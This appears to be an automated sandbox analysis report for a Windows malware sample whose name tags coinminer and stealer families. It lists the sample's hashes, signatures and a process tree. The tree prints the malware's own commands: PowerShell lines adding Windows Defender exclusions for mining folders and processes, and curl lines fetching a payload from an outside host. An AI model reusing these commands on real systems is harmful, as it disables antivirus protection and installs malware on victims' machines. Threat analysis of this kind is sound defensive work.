265633362298f8fbda8fa1504677ef0919dd49036015ae95b147faab7a84af2a

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
Size 3.7MB
Sample260804-j66g2afh89
SHA256 265633362298f8fbda8fa1504677ef0919dd49036015ae95b147faab7a84af2a
MD5 143386c5cc47dfda714303903629fd3a
SHA1 e1b667f5f4e204f7f12fbe5c80fcac47805e4129
SHA512 de0e6f454f55a28f6676e46bb5b094c6d4a5d54b064e3db066f8d14b08e78c78cbc64e2b120a13da7fac4a1000b163836afe19770780bb11d28443c71c9f67ae
SSDEEP 49152:GTyp1pnxv805K7wcpBTA4K9gYybIYEsIxs6ZENVxeZBbLDCHWjDqMj6z:hxEhDjM6YgFEeVxeZNiMDzj6z
TLSH
T15D06C00BBCD119F5C0AEA2328A6692927A71BC441F3223D73E50B37C2F72BD46A75754
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4584	powershell.exe
5800	powershell.exe
4520	powershell.exe
1180	powershell.exe
4924	powershell.exe
260	powershell.exe
1048	powershell.exe
1924	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
936	.vaultd-2973140148

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
4924	powershell.exe
260	powershell.exe
260	powershell.exe
260	powershell.exe
1048	powershell.exe
1048	powershell.exe
1048	powershell.exe
1924	powershell.exe
1924	powershell.exe
1924	powershell.exe
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe
5800	powershell.exe
5800	powershell.exe
5800	powershell.exe
4520	powershell.exe
4520	powershell.exe
4520	powershell.exe
1180	powershell.exe
1180	powershell.exe
1180	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeIncreaseQuotaPrivilege	4924	powershell.exe
Token: SeSecurityPrivilege	4924	powershell.exe
Token: SeTakeOwnershipPrivilege	4924	powershell.exe
Token: SeLoadDriverPrivilege	4924	powershell.exe
Token: SeSystemProfilePrivilege	4924	powershell.exe
Token: SeSystemtimePrivilege	4924	powershell.exe
Token: SeProfSingleProcessPrivilege	4924	powershell.exe
Token: SeIncBasePriorityPrivilege	4924	powershell.exe
Token: SeCreatePagefilePrivilege	4924	powershell.exe
Token: SeBackupPrivilege	4924	powershell.exe
Token: SeRestorePrivilege	4924	powershell.exe
Token: SeShutdownPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeSystemEnvironmentPrivilege	4924	powershell.exe
Token: SeRemoteShutdownPrivilege	4924	powershell.exe
Token: SeUndockPrivilege	4924	powershell.exe
Token: SeManageVolumePrivilege	4924	powershell.exe
Token: 33	4924	powershell.exe
Token: 34	4924	powershell.exe
Token: 35	4924	powershell.exe
Token: 36	4924	powershell.exe
Token: SeDebugPrivilege	260	powershell.exe
Token: SeIncreaseQuotaPrivilege	260	powershell.exe
Token: SeSecurityPrivilege	260	powershell.exe
Token: SeTakeOwnershipPrivilege	260	powershell.exe
Token: SeLoadDriverPrivilege	260	powershell.exe
Token: SeSystemProfilePrivilege	260	powershell.exe
Token: SeSystemtimePrivilege	260	powershell.exe
Token: SeProfSingleProcessPrivilege	260	powershell.exe
Token: SeIncBasePriorityPrivilege	260	powershell.exe
Token: SeCreatePagefilePrivilege	260	powershell.exe
Token: SeBackupPrivilege	260	powershell.exe
Token: SeRestorePrivilege	260	powershell.exe
Token: SeShutdownPrivilege	260	powershell.exe
Token: SeDebugPrivilege	260	powershell.exe
Token: SeSystemEnvironmentPrivilege	260	powershell.exe
Token: SeRemoteShutdownPrivilege	260	powershell.exe
Token: SeUndockPrivilege	260	powershell.exe
Token: SeManageVolumePrivilege	260	powershell.exe
Token: 33	260	powershell.exe
Token: 34	260	powershell.exe
Token: 35	260	powershell.exe
Token: 36	260	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeIncreaseQuotaPrivilege	1048	powershell.exe
Token: SeSecurityPrivilege	1048	powershell.exe
Token: SeTakeOwnershipPrivilege	1048	powershell.exe
Token: SeLoadDriverPrivilege	1048	powershell.exe
Token: SeSystemProfilePrivilege	1048	powershell.exe
Token: SeSystemtimePrivilege	1048	powershell.exe
Token: SeProfSingleProcessPrivilege	1048	powershell.exe
Token: SeIncBasePriorityPrivilege	1048	powershell.exe
Token: SeCreatePagefilePrivilege	1048	powershell.exe
Token: SeBackupPrivilege	1048	powershell.exe
Token: SeRestorePrivilege	1048	powershell.exe
Token: SeShutdownPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeSystemEnvironmentPrivilege	1048	powershell.exe
Token: SeRemoteShutdownPrivilege	1048	powershell.exe
Token: SeUndockPrivilege	1048	powershell.exe
Token: SeManageVolumePrivilege	1048	powershell.exe
Token: 33	1048	powershell.exe
Token: 34	1048	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 936	4908	2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe	89
PID 936 wrote to memory of 4924	936	.vaultd-2973140148	90
PID 936 wrote to memory of 260	936	.vaultd-2973140148	93
PID 936 wrote to memory of 1048	936	.vaultd-2973140148	95
PID 936 wrote to memory of 1924	936	.vaultd-2973140148	97
PID 936 wrote to memory of 4584	936	.vaultd-2973140148	99
PID 936 wrote to memory of 5800	936	.vaultd-2973140148	101
PID 936 wrote to memory of 4520	936	.vaultd-2973140148	103
PID 936 wrote to memory of 1180	936	.vaultd-2973140148	105
PID 936 wrote to memory of 5076	936	.vaultd-2973140148	108
PID 936 wrote to memory of 4700	936	.vaultd-2973140148	110
PID 936 wrote to memory of 4744	936	.vaultd-2973140148	112
PID 936 wrote to memory of 3140	936	.vaultd-2973140148	114
PID 936 wrote to memory of 2028	936	.vaultd-2973140148	116
PID 936 wrote to memory of 664	936	.vaultd-2973140148	118
PID 936 wrote to memory of 3388	936	.vaultd-2973140148	120

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	36	curl/8.8.0
HTTP User-Agent header	13	curl/8.8.0
HTTP User-Agent header	14	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-04_143386c5cc47dfda714303903629fd3a_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Users\Admin\AppData\Local\Temp\.vaultd-2973140148
  C:\Users\Admin\AppData\Local\Temp\.vaultd-2973140148
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1180
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
    3⤵
    PID:5076
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
    3⤵
    PID:4700
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
    3⤵
    PID:4744
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
    3⤵
    PID:3140
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
    3⤵
    PID:2028
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
    3⤵
    PID:664
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
    3⤵
    PID:3388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact